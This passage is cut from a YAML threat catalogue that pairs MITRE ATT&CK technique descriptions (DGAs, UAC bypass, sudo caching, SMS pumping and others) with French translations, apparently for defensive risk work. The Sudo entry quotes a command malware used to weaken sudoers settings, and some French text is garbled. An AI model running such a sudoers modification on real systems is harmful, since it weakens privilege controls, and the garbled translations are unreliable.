          \ Mauraena)\n\nUne fois qu\u2019un adversaire a acquis un cookie valide,\
          \ il peut ensuite ex\xE9cuter une technique [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)\
          \ pour se connecter \xE0 l\u2019application Web correspondante.\nhttps://attack.mitre.org/techniques/T1539"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1053.007
    ref_id: T1053.007
    name: Container Orchestration Job
    description: 'Adversaries may abuse task scheduling functionality provided by
      container orchestration tools such as Kubernetes to schedule deployment of containers
      configured to execute malicious code. Container orchestration jobs run these
      automated tasks at a specific date and time, similar to cron jobs on a Linux
      system. Deployments of this type can also be configured to maintain a quantity
      of containers over time, automating the process of maintaining persistence within
      a cluster.


      In Kubernetes, a CronJob may be used to schedule a Job that runs one or more
      containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes
      CronJob) An adversary therefore may utilize a CronJob to schedule deployment
      of a Job that executes malicious code in various nodes within a cluster.(Citation:
      Threat Matrix for Kubernetes)

      https://attack.mitre.org/techniques/T1053/007'
    translations:
      fr:
        name: "Travail d\u2019orchestration de conteneur"
        description: "Les adversaires peuvent abuser de la fonctionnalit\xE9 de planification\
          \ des t\xE2ches fournie par les outils d\u2019orchestration de conteneurs\
          \ tels que Kubernetes pour planifier le d\xE9ploiement de conteneurs configur\xE9\
          s pour ex\xE9cuter du code malveillant. Les t\xE2ches d\u2019orchestration\
          \ de conteneurs ex\xE9cutent ces t\xE2ches automatis\xE9es \xE0 une date\
          \ et une heure sp\xE9cifiques, comme les t\xE2ches cron sur un syst\xE8\
          me Linux. Les d\xE9ploiements de ce type peuvent \xE9galement \xEAtre configur\xE9\
          s pour maintenir une quantit\xE9 de conteneurs au fil du temps, ce qui automatise\
          \ le processus de maintien de la persistance au sein d\u2019un cluster.\n\
          \nDans Kubernetes, un CronJob peut \xEAtre utilis\xE9 pour planifier un\
          \ Job qui ex\xE9cute un ou plusieurs conteneurs afin d\u2019effectuer des\
          \ t\xE2ches sp\xE9cifiques. (Citation : Emplois Kubernetes)(Citation : Kubernetes\
          \ CronJob) Par cons\xE9quent, un adversaire peut utiliser un CronJob pour\
          \ planifier le d\xE9ploiement d\u2019un Job qui ex\xE9cute du code malveillant\
          \ dans divers n\u0153uds d\u2019un cluster. (Citation : Matrice des menaces\
          \ pour Kubernetes)\nhttps://attack.mitre.org/techniques/T1053/007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1568.002
    ref_id: T1568.002
    name: Domain Generation Algorithms
    description: "Adversaries may make use of Domain Generation Algorithms (DGAs)\
      \ to dynamically identify a destination domain for command and control traffic\
      \ rather than relying on a list of static IP addresses or domains. This has\
      \ the advantage of making it much harder for defenders to block, track, or take\
      \ over the command and control channel, as there potentially could be thousands\
      \ of domains that malware can check for instructions.(Citation: Cybereason Dissecting\
      \ DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs\
      \ can take the form of apparently random or \u201Cgibberish\u201D strings (ex:\
      \ istgmxdejdnxuyla.ru) when they construct domain names by generating each letter.\
      \ Alternatively, some DGAs employ whole words as the unit by concatenating words\
      \ together instead of letters (ex: cityjulydish.net). Many DGAs are time-based,\
      \ generating a different domain for each time period (hourly, daily, monthly,\
      \ etc). Others incorporate a seed value as well to make predicting future domains\
      \ more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation:\
      \ Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\
      \nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008).\
      \ When contact is lost with the primary command and control server malware may\
      \ employ a DGA as a means to reestablishing command and control.(Citation: Talos\
      \ CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit\
      \ 2017 Activity)\nhttps://attack.mitre.org/techniques/T1568/002"
    translations:
      fr:
        name: "Algorithmes de g\xE9n\xE9ration de domaine"
        description: "Les adversaires peuvent utiliser des algorithmes de g\xE9n\xE9\
          ration de domaine (DGA) pour identifier dynamiquement un domaine de destination\
          \ pour le trafic de commande et de contr\xF4le plut\xF4t que de s\u2019\
          appuyer sur une liste d\u2019adresses IP statiques ou de domaines. Cela\
          \ a l\u2019avantage de rendre beaucoup plus difficile pour les d\xE9fenseurs\
          \ de bloquer, de suivre ou de prendre le contr\xF4le du canal de commande\
          \ et de contr\xF4le, car il peut y avoir des milliers de domaines que les\
          \ logiciels malveillants peuvent v\xE9rifier pour obtenir des instructions.\
          \ (Citation : Cybereason diss\xE8quant les DGA)(Citation : Cisco Umbrella\
          \ DGA)(Citation : Unit\xE9 42 DGA f\xE9vrier 2019)\n\nLes DGA peuvent prendre\
          \ la forme de cha\xEEnes apparemment al\xE9atoires ou de \xAB\_charabia\_\
          \xBB (ex : istgmxdejdnxuyla.ru) lorsqu\u2019elles construisent des noms\
          \ de domaine en g\xE9n\xE9rant chaque lettre. Alternativement, certains\
          \ DGA utilisent des mots entiers comme unit\xE9 en concat\xE9nant des mots\
          \ ensemble au lieu de lettres (ex : cityjulydish.net). De nombreux DGA sont\
          \ bas\xE9s sur le temps, g\xE9n\xE9rant un domaine diff\xE9rent pour chaque\
          \ p\xE9riode (horaire, quotidienne, mensuelle, etc.). D\u2019autres int\xE8\
          grent \xE9galement une valeur de d\xE9part pour rendre la pr\xE9diction\
          \ des domaines futurs plus difficile pour les d\xE9fenseurs. (Citation :\
          \ Cybereason diss\xE8quant les DGA)(Citation : Cisco Umbrella DGA)(Citation\
          \ : Talos CCleanup 2017)(R\xE9f\xE9rence : Akamai DGA Mitigation)\n\nLes\
          \ adversaires peuvent utiliser les DGA \xE0 des fins de [canaux de secours](https://attack.mitre.org/techniques/T1008).\
          \ Lorsque le contact est perdu avec le serveur de commande et de contr\xF4\
          le principal, les logiciels malveillants peuvent utiliser un DGA comme moyen\
          \ de r\xE9tablir la commande et le contr\xF4le. (Citation : Talos CCleanup\
          \ 2017)(Citation : FireEye POSHSPY avril 2017)(Citation : Activit\xE9 ESET\
          \ Sednit 2017)\nhttps://attack.mitre.org/techniques/T1568/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1036.007
    ref_id: T1036.007
    name: Double File Extension
    description: "Adversaries may abuse a double extension in the filename as a means\
      \ of masquerading the true file type. A file name may include a secondary file\
      \ type extension that may cause only the first extension to be displayed (ex:\
      \ <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>).\
      \ However, the second extension is the true file type that determines how the\
      \ file is opened and executed. The real file extension may be hidden by the\
      \ operating system in the file browser (ex: explorer.exe), as well as in any\
      \ software configured using or similar to the system\u2019s policies.(Citation:\
      \ PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries\
      \ may abuse double extensions to attempt to conceal dangerous file types of\
      \ payloads. A very common usage involves tricking a user into opening what they\
      \ think is a benign file type but is actually executable code. Such files often\
      \ pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001)\
      \ into a user\u2019s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)\
      \ then [User Execution](https://attack.mitre.org/techniques/T1204). For example,\
      \ an executable file attachment named <code>Evil.txt.exe</code> may display\
      \ as <code>Evil.txt</code> to a user. The user may then view it as a benign\
      \ text file and open it, inadvertently executing the hidden malware.(Citation:\
      \ SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt,\
      \ .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first\
      \ extension to appear benign. Executable extensions commonly regarded as dangerous,\
      \ such as .exe, .lnk, .hta, and .scr, often appear as the second extension and\
      \ true file type.\nhttps://attack.mitre.org/techniques/T1036/007"
    translations:
      fr:
        name: Double extension de fichier
        description: "Les adversaires peuvent abuser d\u2019une double extension dans\
          \ le nom de fichier afin de masquer le v\xE9ritable type de fichier. Un\
          \ nom de fichier peut inclure une extension de type de fichier secondaire\
          \ qui peut entra\xEEner l\u2019affichage uniquement de la premi\xE8re extension\
          \ (ex : <code>File.txt.exe</code> peut s\u2019afficher dans certaines vues\
          \ comme <code>File.txt</code>). Cependant, la deuxi\xE8me extension est\
          \ le type de fichier r\xE9el qui d\xE9termine la fa\xE7on dont le fichier\
          \ est ouvert et ex\xE9cut\xE9. L\u2019extension de fichier r\xE9elle peut\
          \ \xEAtre cach\xE9e par le syst\xE8me d\u2019exploitation dans le navigateur\
          \ de fichiers (ex : explorer.exe), ainsi que dans tout logiciel configur\xE9\
          \ \xE0 l\u2019aide ou similaire aux politiques du syst\xE8me. (Citation\
          \ : PCMag DoubleExtension)(Citation : SOCPrime DoubleExtension) \n\nLes\
          \ adversaires peuvent abuser des doubles extensions pour tenter de dissimuler\
          \ des types de fichiers dangereux de charges utiles. Une utilisation tr\xE8\
          s courante consiste \xE0 inciter un utilisateur \xE0 ouvrir ce qu\u2019\
          il pense \xEAtre un type de fichier inoffensif mais qui est en fait du code\
          \ ex\xE9cutable. Ces fichiers se font souvent passer pour des pi\xE8ces\
          \ jointes \xE0 un e-mail et permettent \xE0 un adversaire d\u2019obtenir\
          \ [Acc\xE8s initial](https://attack.mitre.org/tactics/TA0001) dans le syst\xE8\
          me d\u2019un utilisateur via [Pi\xE8ce jointe pour hame\xE7onnage criminel](https://attack.mitre.org/techniques/T1566/001)\
          \ puis [Ex\xE9cution par l\u2019utilisateur](https://attack.mitre.org/techniques/T1204).\
          \ Par exemple, une pi\xE8ce jointe de fichier ex\xE9cutable nomm\xE9e <code>Evil.txt.exe</code>\
          \ peut <code>s\u2019afficher comme Evil.txt</code> pour un utilisateur.\
          \ L\u2019utilisateur peut alors le visualiser comme un fichier texte inoffensif\
          \ et l\u2019ouvrir, ex\xE9cutant par inadvertance le logiciel malveillant\
          \ cach\xE9. (Citation : SOCPrime DoubleExtension)\n\nLes types de fichiers\
          \ courants, tels que les fichiers texte (.txt, .doc, etc.) et les fichiers\
          \ image (.jpg, .gif, etc.) sont g\xE9n\xE9ralement utilis\xE9s comme premi\xE8\
          re extension \xE0 appara\xEEtre inoffensive. Les extensions ex\xE9cutables\
          \ g\xE9n\xE9ralement consid\xE9r\xE9es comme dangereuses, telles que .exe,\
          \ .lnk, .hta et .scr, apparaissent souvent comme la deuxi\xE8me extension\
          \ et le v\xE9ritable type de fichier.\nhttps://attack.mitre.org/techniques/T1036/007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1548.002
    ref_id: T1548.002
    name: Bypass User Account Control
    description: 'Adversaries may bypass UAC mechanisms to elevate process privileges
      on system. Windows User Account Control (UAC) allows a program to elevate its
      privileges (tracked as integrity levels ranging from low to high) to perform
      a task under administrator-level permissions, possibly by prompting the user
      for confirmation. The impact to the user ranges from denying the operation under
      high enforcement to allowing the user to perform the action if they are in the
      local administrators group and click through the prompt or allowing them to
      enter an administrator password to complete the action.(Citation: TechNet How
      UAC Works)


      If the UAC protection level of a computer is set to anything but the highest
      level, certain Windows programs can elevate privileges or execute some elevated
      [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects
      without prompting the user through the UAC notification box.(Citation: TechNet
      Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011)
      to load a specifically crafted DLL which loads an auto-elevated [Component Object
      Model](https://attack.mitre.org/techniques/T1559/001) object and performs a
      file operation in a protected directory which would typically require elevated
      access. Malicious software may also be injected into a trusted process to gain
      elevated privileges without prompting a user.(Citation: Davidson Windows)


      Many methods have been discovered to bypass UAC. The Github readme page for
      UACME contains an extensive list of methods(Citation: Github UACMe) that have
      been discovered and implemented, but may not be a comprehensive list of bypasses.
      Additional bypass methods are regularly discovered and some used in the wild,
      such as:


      * <code>eventvwr.exe</code> can auto-elevate and execute a specified binary
      or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)


      Another bypass is possible through some lateral movement techniques if credentials
      for an account with administrator privileges are known, since UAC is a single
      system security mechanism, and the privilege or integrity of a process running
      on one system will be unknown on remote systems and default to high integrity.(Citation:
      SANS UAC Bypass)

      https://attack.mitre.org/techniques/T1548/002'
    translations:
      fr:
        name: "Contourner le contr\xF4le de compte d\u2019utilisateur"
        description: "Les adversaires peuvent contourner les m\xE9canismes UAC pour\
          \ \xE9lever les privil\xE8ges de processus sur le syst\xE8me. Le contr\xF4\
          le de compte d\u2019utilisateur (UAC) Windows permet \xE0 un programme d\u2019\
          \xE9lever ses privil\xE8ges (suivis par des niveaux d\u2019int\xE9grit\xE9\
          \ allant de faible \xE0 \xE9lev\xE9) pour effectuer une t\xE2che sous des\
          \ autorisations de niveau administrateur, \xE9ventuellement en demandant\
          \ \xE0 l\u2019utilisateur de confirmer. L\u2019impact pour l\u2019utilisateur\
          \ va du refus de l\u2019op\xE9ration dans le cadre d\u2019une application\
          \ stricte \xE0 l\u2019autorisation de l\u2019utilisateur d\u2019effectuer\
          \ l\u2019action s\u2019il fait partie du groupe d\u2019administrateurs locaux\
          \ et clique sur l\u2019invite, ou \xE0 la possibilit\xE9 de saisir un mot\
          \ de passe administrateur pour terminer l\u2019action.\n\nSi le niveau de\
          \ protection UAC d\u2019un ordinateur n\u2019est pas le niveau le plus \xE9\
          lev\xE9, certains programmes Windows peuvent \xE9lever les privil\xE8ges\
          \ ou ex\xE9cuter des objets \xE9lev\xE9s [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\
          \ sans demander \xE0 l\u2019utilisateur via la bo\xEEte de notification\
          \ UAC. (Citation : TechNet \xE0 l\u2019int\xE9rieur de l\u2019UAC)(Citation\
          \ : MSDN COM Elevation) Par exemple, l\u2019utilisation de [Rundll32](https://attack.mitre.org/techniques/T1218/011)\
          \ pour charger une DLL sp\xE9cialement con\xE7ue qui charge un objet [Component\
          \ Object Model](https://attack.mitre.org/techniques/T1559/001) \xE0 \xE9\
          l\xE9vation automatique et effectue une op\xE9ration de fichier dans un\
          \ r\xE9pertoire prot\xE9g\xE9 qui n\xE9cessiterait g\xE9n\xE9ralement un\
          \ acc\xE8s \xE9lev\xE9. Un logiciel malveillant peut \xE9galement \xEAtre\
          \ inject\xE9 dans un processus approuv\xE9 pour obtenir des privil\xE8ges\
          \ \xE9lev\xE9s sans inviter l\u2019utilisateur. (Citation : Davidson Windows)\n\
          \nDe nombreuses m\xE9thodes ont \xE9t\xE9 d\xE9couvertes pour contourner\
          \ l\u2019UAC. La page Readme Github pour UACME contient une liste exhaustive\
          \ de m\xE9thodes (Citation : Github UACMe) qui ont \xE9t\xE9 d\xE9couvertes\
          \ et mises en \u0153uvre, mais il se peut qu\u2019il ne s\u2019agisse pas\
          \ d\u2019une liste exhaustive de contournements. D\u2019autres m\xE9thodes\
          \ de contournement sont r\xE9guli\xE8rement d\xE9couvertes et certaines\
          \ utilis\xE9es dans la nature, telles que :\n\n* <code>eventvwr.exe</code>\
          \ pouvez \xE9lever automatiquement et ex\xE9cuter un binaire ou un script\
          \ sp\xE9cifi\xE9. (Citation : enigma0x3 Fileless UAC Bypass)(Citation :\
          \ Fortinet Fareit)\n\nUn autre contournement est possible gr\xE2ce \xE0\
          \ certaines techniques de mouvement lat\xE9ral si les informations d\u2019\
          identification d\u2019un compte avec des privil\xE8ges d\u2019administrateur\
          \ sont connues, car l\u2019UAC est un m\xE9canisme de s\xE9curit\xE9 de\
          \ syst\xE8me unique et le privil\xE8ge ou l\u2019int\xE9grit\xE9 d\u2019\
          un processus ex\xE9cut\xE9 sur un syst\xE8me sera inconnu sur les syst\xE8\
          mes distants et sera par d\xE9faut \xE0 haute int\xE9grit\xE9. (Citation\
          \ : Contournement SANS UAC)\nhttps://attack.mitre.org/techniques/T1548/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1496.003
    ref_id: T1496.003
    name: SMS Pumping
    description: "Adversaries may leverage messaging services for SMS pumping, which\
      \ may impact system and/or hosted service availability.(Citation: Twilio SMS\
      \ Pumping) SMS pumping is a type of telecommunications fraud whereby a threat\
      \ actor first obtains a set of phone numbers from a telecommunications provider,\
      \ then leverages a victim\u2019s messaging infrastructure to send large amounts\
      \ of SMS messages to numbers in that set. By generating SMS traffic to their\
      \ phone number set, a threat actor may earn payments from the telecommunications\
      \ provider.(Citation: Twilio SMS Pumping Fraud)\n\nThreat actors often use publicly\
      \ available web forms, such as one-time password (OTP) or account verification\
      \ fields, in order to generate SMS traffic. These fields may leverage services\
      \ such as Twilio, AWS SNS, and Amazon Cognito in the background.(Citation: Twilio\
      \ SMS Pumping)(Citation: AWS RE:Inforce Threat Detection 2024) In response to\
      \ the large quantity of requests, SMS costs may increase and communication channels\
      \ may become overwhelmed.(Citation: Twilio SMS Pumping)\nhttps://attack.mitre.org/techniques/T1496/003"
    translations:
      fr:
        name: Pompage SMS
        description: "Les adversaires peuvent exploiter les services de messagerie\
          \ pour pomper des SMS, ce qui peut avoir un impact sur la disponibilit\xE9\
          \ du syst\xE8me et/ou du service h\xE9berg\xE9. (Citation : Twilio SMS Pumping)\
          \ Le pompage de SMS est un type de fraude dans le domaine des t\xE9l\xE9\
          communications par lequel un auteur de menace obtient d\u2019abord un ensemble\
          \ de num\xE9ros de t\xE9l\xE9phone d\u2019un fournisseur de services de\
          \ t\xE9l\xE9communications, puis exploite l\u2019infrastructure de messagerie\
          \ d\u2019une victime pour envoyer de grandes quantit\xE9s de messages SMS\
          \ \xE0 des num\xE9ros de cet ensemble. En g\xE9n\xE9rant du trafic SMS vers\
          \ son num\xE9ro de t\xE9l\xE9phone d\xE9fini, un auteur de menace peut gagner\
          \ des paiements de la part du fournisseur de t\xE9l\xE9communications. (Citation\
          \ : Fraude au pompage de SMS Twilio)\n\nLes auteurs de menace utilisent\
          \ souvent des formulaires Web accessibles au public, tels que des mots de\
          \ passe \xE0 usage unique (OTP) ou des champs de v\xE9rification de compte,\
          \ afin de g\xE9n\xE9rer du trafic SMS. Ces champs peuvent exploiter des\
          \ services tels que Twilio, AWS SNS et Amazon Cognito en arri\xE8re-plan.\
          \ (Citation : Twilio SMS Pumping)(R\xE9f\xE9rence : AWS RE\_:Inforce Threat\
          \ Detection 2024) En r\xE9ponse \xE0 la grande quantit\xE9 de demandes,\
          \ les co\xFBts des SMS peuvent augmenter et les canaux de communication\
          \ peuvent \xEAtre d\xE9bord\xE9s. (Citation : Twilio SMS Pumping)\nhttps://attack.mitre.org/techniques/T1496/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1016.001
    ref_id: T1016.001
    name: Internet Connection Discovery
    description: 'Adversaries may check for Internet connectivity on compromised systems.
      This may be performed during automated discovery and can be accomplished in
      numerous ways such as using [Ping](https://attack.mitre.org/software/S0097),
      <code>tracert</code>, and GET requests to websites.


      Adversaries may use the results and responses from these requests to determine
      if the system is capable of communicating with their C2 servers before attempting
      to connect to them. The results may also be used to identify routes, redirectors,
      and proxy servers.

      https://attack.mitre.org/techniques/T1016/001'
    translations:
      fr:
        name: "D\xE9couverte de la connexion Internet"
        description: "Les adversaires peuvent v\xE9rifier la connectivit\xE9 Internet\
          \ sur les syst\xE8mes compromis. Cela peut \xEAtre effectu\xE9 lors de la\
          \ d\xE9couverte automatis\xE9e et peut \xEAtre accompli de nombreuses fa\xE7\
          ons, telles que l\u2019utilisation de [Ping](https://attack.mitre.org/software/S0097),\
          \ <code>tracert</code> et de requ\xEAtes GET vers des sites Web.\n\nLes\
          \ adversaires peuvent utiliser les r\xE9sultats et les r\xE9ponses de ces\
          \ demandes pour d\xE9terminer si le syst\xE8me est capable de communiquer\
          \ avec leurs serveurs C2 avant de tenter de s\u2019y connecter. Les r\xE9\
          sultats peuvent \xE9galement \xEAtre utilis\xE9s pour identifier les routes,\
          \ les redirecteurs et les serveurs proxy.\nhttps://attack.mitre.org/techniques/T1016/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1548.003
    ref_id: T1548.003
    name: Sudo and Sudo Caching
    description: 'Adversaries may perform sudo caching and/or use the sudoers file
      to elevate privileges. Adversaries may do this to execute commands as other
      users or spawn processes with higher privileges.


      Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do")
      allows users to perform commands from terminals with elevated privileges and
      to control who can perform these commands on the system. The <code>sudo</code>
      command "allows a system administrator to delegate authority to give certain
      users (or groups of users) the ability to run some (or all) commands as root
      or another user while providing an audit trail of the commands and their arguments."(Citation:
      sudo man page 2018) Since sudo was made for the system administrator, it has
      some useful configuration features such as a <code>timestamp_timeout</code>,
      which is the amount of time in minutes between instances of <code>sudo</code>
      before it will re-prompt for a password. This is because <code>sudo</code> has
      the ability to cache credentials for a period of time. Sudo creates (or touches)
      a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run
      to determine this timeout. Additionally, there is a <code>tty_tickets</code>
      variable that treats each new tty (terminal session) in isolation. This means
      that, for example, the sudo timeout of one tty will not affect another tty (you
      will have to type the password again).


      The sudoers file, <code>/etc/sudoers</code>, describes which users can run which
      commands and from which terminals. This also describes which commands users
      can run as other users or groups. This provides the principle of least privilege
      such that users are running in their lowest possible permissions for most of
      the time and only elevate to other users or permissions as needed, typically
      by prompting for a password. However, the sudoers file can also specify when
      to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD:
      ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit
      this file though.


      Adversaries can also abuse poor configurations of these mechanisms to escalate
      privileges without needing the user''s password. For example, <code>/var/db/sudo</code>''s
      timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code>
      range. If it does, then malware can execute sudo commands without needing to
      supply the user''s password. Additional, if <code>tty_tickets</code> is disabled,
      adversaries can do this from any tty for that user.


      In the wild, malware has disabled <code>tty_tickets</code> to potentially make
      scripting easier by issuing <code>echo \''Defaults !tty_tickets\'' >> /etc/sudoers</code>.(Citation:
      cybereason osx proton) In order for this change to be reflected, the malware
      also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file
      has <code>tty_tickets</code> enabled by default.

      https://attack.mitre.org/techniques/T1548/003'
    translations:
      fr:
        name: Sudo et mise en cache Sudo
        description: "Les adversaires peuvent effectuer une mise en cache sudo et/ou\
          \ utiliser le fichier sudoers pour \xE9lever les privil\xE8ges. Les adversaires\
          \ peuvent le faire pour ex\xE9cuter des commandes en tant qu\u2019autres\
          \ utilisateurs ou g\xE9n\xE9rer des processus avec des privil\xE8ges plus\
          \ \xE9lev\xE9s.\n\nDans les syst\xE8mes Linux et MacOS, sudo (parfois appel\xE9\
          \ \xAB superuser do \xBB) permet aux utilisateurs d\u2019ex\xE9cuter des\
          \ commandes \xE0 partir de terminaux disposant de privil\xE8ges \xE9lev\xE9\
          s et de contr\xF4ler qui peut ex\xE9cuter ces commandes sur le syst\xE8\
          me. La commande <code>sudo</code> \xAB permet \xE0 un administrateur syst\xE8\
          me de d\xE9l\xE9guer l\u2019autorit\xE9 pour donner \xE0 certains utilisateurs\
          \ (ou groupes d\u2019utilisateurs) la possibilit\xE9 d\u2019ex\xE9cuter\
          \ certaines (ou toutes) commandes en tant qu\u2019utilisateur root ou un\
          \ autre utilisateur tout en fournissant une piste d\u2019audit des commandes\
          \ et de leurs arguments. \xBB (Citation : sudo man page 2018) \xC9tant donn\xE9\
          \ que sudo a \xE9t\xE9 con\xE7u pour l\u2019administrateur syst\xE8me, il\
          \ dispose de certaines fonctionnalit\xE9s de configuration utiles telles\
          \ qu\u2019un <code>timestamp_timeout</code>, qui est le temps en minutes\
          \ entre les instances de <code>sudo</code> avant qu\u2019il ne vous demande\
          \ \xE0 nouveau un mot de passe. En effet, <code>sudo</code> a la capacit\xE9\
          \ de mettre en cache les informations d\u2019identification pendant un certain\
          \ temps. Sudo cr\xE9e (ou touche) un fichier dans <code>/var/db/sudo</code>\
          \ avec un horodatage de la derni\xE8re ex\xE9cution de sudo pour d\xE9terminer\
          \ ce d\xE9lai d\u2019expiration. De plus, il existe une variable <code>tty_tickets</code>\
          \ qui traite chaque nouvelle tty (session terminale) de mani\xE8re isol\xE9\
          e. Cela signifie, par exemple, que le d\xE9lai d\u2019expiration sudo d\u2019\
          un tty n\u2019affectera pas un autre tty (vous devrez taper \xE0 nouveau\
          \ le mot de passe).\n\nLe fichier sudoers, <code>/etc/sudoers</code>, d\xE9\
          crit quels utilisateurs peuvent ex\xE9cuter quelles commandes et \xE0 partir\
          \ de quels terminaux. Cela d\xE9crit \xE9galement les commandes que les\
          \ utilisateurs peuvent ex\xE9cuter en tant qu\u2019autres utilisateurs ou\
          \ groupes. Cela fournit le principe du moindre privil\xE8ge, de sorte que\
          \ les utilisateurs s\u2019ex\xE9cutent avec leurs autorisations les plus\
          \ faibles possibles la plupart du temps et n\u2019acc\xE8dent \xE0 d\u2019\
          autres utilisateurs ou autorisations que si n\xE9cessaire, g\xE9n\xE9ralement\
          \ en demandant un mot de passe. Cependant, le fichier sudoers peut \xE9\
          galement sp\xE9cifier quand ne pas demander aux utilisateurs des mots de\
          \ passe avec une ligne comme <code>user1 ALL=(ALL) NOPASSWD\_: ALL.</code>\
          \ (R\xE9f\xE9rence : OSX. Cependant, des privil\xE8ges \xE9lev\xE9s sont\
          \ n\xE9cessaires pour modifier ce fichier.\n\nLes adversaires peuvent \xE9\
          galement abuser des mauvaises configurations de ces m\xE9canismes pour \xE9\
          lever les privil\xE8ges sans avoir besoin du mot de passe de l\u2019utilisateur.\
          \ Par exemple, l\u2019horodatage de <code>/var/db/sudo</code> peut \xEA\
          tre surveill\xE9 pour voir s\u2019il se situe dans la plage <code>timestamp_timeout</code>.\
          \ Si c\u2019est le cas, les logiciels malveillants peuvent ex\xE9cuter des\
          \ commandes sudo sans avoir \xE0 fournir le mot de passe de l\u2019utilisateur.\
          \ De plus, si <code>tty_tickets</code> est d\xE9sactiv\xE9, les adversaires\
          \ peuvent le faire \xE0 partir de n\u2019importe quel tty pour cet utilisateur.\n\
          \nDans la nature, les logiciels malveillants <code>ont d\xE9sactiv\xE9 tty_tickets</code>\
          \ pour faciliter potentiellement la cr\xE9ation de scripts en \xE9mettant\
          \ <code>echo 'Defaults !tty_tickets' >> /etc/sudoers</code>. (Citation :\
          \ cybereason osx proton) Pour que ce changement soit pris en compte, le\
          \ logiciel malveillant a \xE9galement publi\xE9 <code>killall Terminal</code>.\
          \ \xC0 partir de macOS Sierra, le fichier sudoers <code>a tty_tickets</code>\
          \ activ\xE9 par d\xE9faut.\nhttps://attack.mitre.org/techniques/T1548/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1560.003
    ref_id: T1560.003
    name: Archive via Custom Method
    description: 'An adversary may compress or encrypt data that is collected prior
      to exfiltration using a custom method. Adversaries may choose to use custom
      archival methods, such as encryption with XOR or stream ciphers implemented
      with no external library or utility references. Custom implementations of well-known
      compression algorithms have also been used.(Citation: ESET Sednit Part 2)

      https://attack.mitre.org/techniques/T1560/003'
    translations:
      fr:
        name: "Archivage via une m\xE9thode personnalis\xE9e"
        description: "Un adversaire peut compresser ou chiffrer les donn\xE9es collect\xE9\
          es avant l\u2019exfiltration \xE0 l\u2019aide d\u2019une m\xE9thode personnalis\xE9\
          e. Les adversaires peuvent choisir d\u2019utiliser des m\xE9thodes d\u2019\
          archivage personnalis\xE9es, telles que le chiffrement avec XOR ou les chiffrements\
          \ de flux mis en \u0153uvre sans r\xE9f\xE9rences de biblioth\xE8que ou\
          \ d\u2019utilitaire externes. Des impl\xE9mentations personnalis\xE9es d\u2019\
          algorithmes de compression bien connus ont \xE9galement \xE9t\xE9 utilis\xE9\
          es. (Citation : ESET Sednit Partie 2)\nhttps://attack.mitre.org/techniques/T1560/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1578
    ref_id: T1578
    name: Modify Cloud Compute Infrastructure
    description: 'An adversary may attempt to modify a cloud account''s compute service
      infrastructure to evade defenses. A modification to the compute service infrastructure
      can include the creation, deletion, or modification of one or more components
      such as compute instances, virtual machines, and snapshots.


      Permissions gained from the modification of infrastructure components may bypass
      restrictions that prevent access to existing infrastructure. Modifying infrastructure
      components may also allow an adversary to evade detection and remove evidence
      of their presence.(Citation: Mandiant M-Trends 2020)

      https://attack.mitre.org/techniques/T1578'
    translations:
      fr:
        name: "Modifier l\u2019infrastructure de calcul dans le cloud"
        description: "Un adversaire peut tenter de modifier l\u2019infrastructure\
          \ de service de calcul d\u2019un compte cloud pour \xE9chapper aux d\xE9\
          fenses. Une modification de l\u2019infrastructure du service de calcul peut\
          \ inclure la cr\xE9ation, la suppression ou la modification d\u2019un ou\
          \ plusieurs composants tels que des instances de calcul, des machines virtuelles\
          \ et des instantan\xE9s.\n\nLes autorisations obtenues lors de la modification\
          \ des composants de l\u2019infrastructure peuvent contourner les restrictions\
          \ qui emp\xEAchent l\u2019acc\xE8s \xE0 l\u2019infrastructure existante.\
          \ La modification des composants de l\u2019infrastructure peut \xE9galement\
          \ permettre \xE0 un adversaire d\u2019\xE9chapper \xE0 la d\xE9tection et\
          \ de supprimer les preuves de leur pr\xE9sence. (Citation : Mandiant M-Trends\
          \ 2020)\nhttps://attack.mitre.org/techniques/T1578"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1584.008
    ref_id: T1584.008
    name: Network Devices
    description: 'Adversaries may compromise third-party network devices that can
      be used during targeting. Network devices, such as small office/home office
      (SOHO) routers, may be compromised where the adversary''s ultimate goal is not
      [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment
      -- instead leveraging these devices to support additional targeting.


      Once an adversary has control, compromised network devices can be used to launch
      additional operations, such as hosting payloads for [Phishing](https://attack.mitre.org/techniques/T1566)
      campaigns (i.e., [Link Target](https://attack.mitre.org/techniques/T1608/005))
      or enabling the required access to execute [Content Injection](https://attack.mitre.org/techniques/T1659)
      operations. Adversaries may also be able to harvest reusable credentials (i.e.,
      [Valid Accounts](https://attack.mitre.org/techniques/T1078)) from compromised
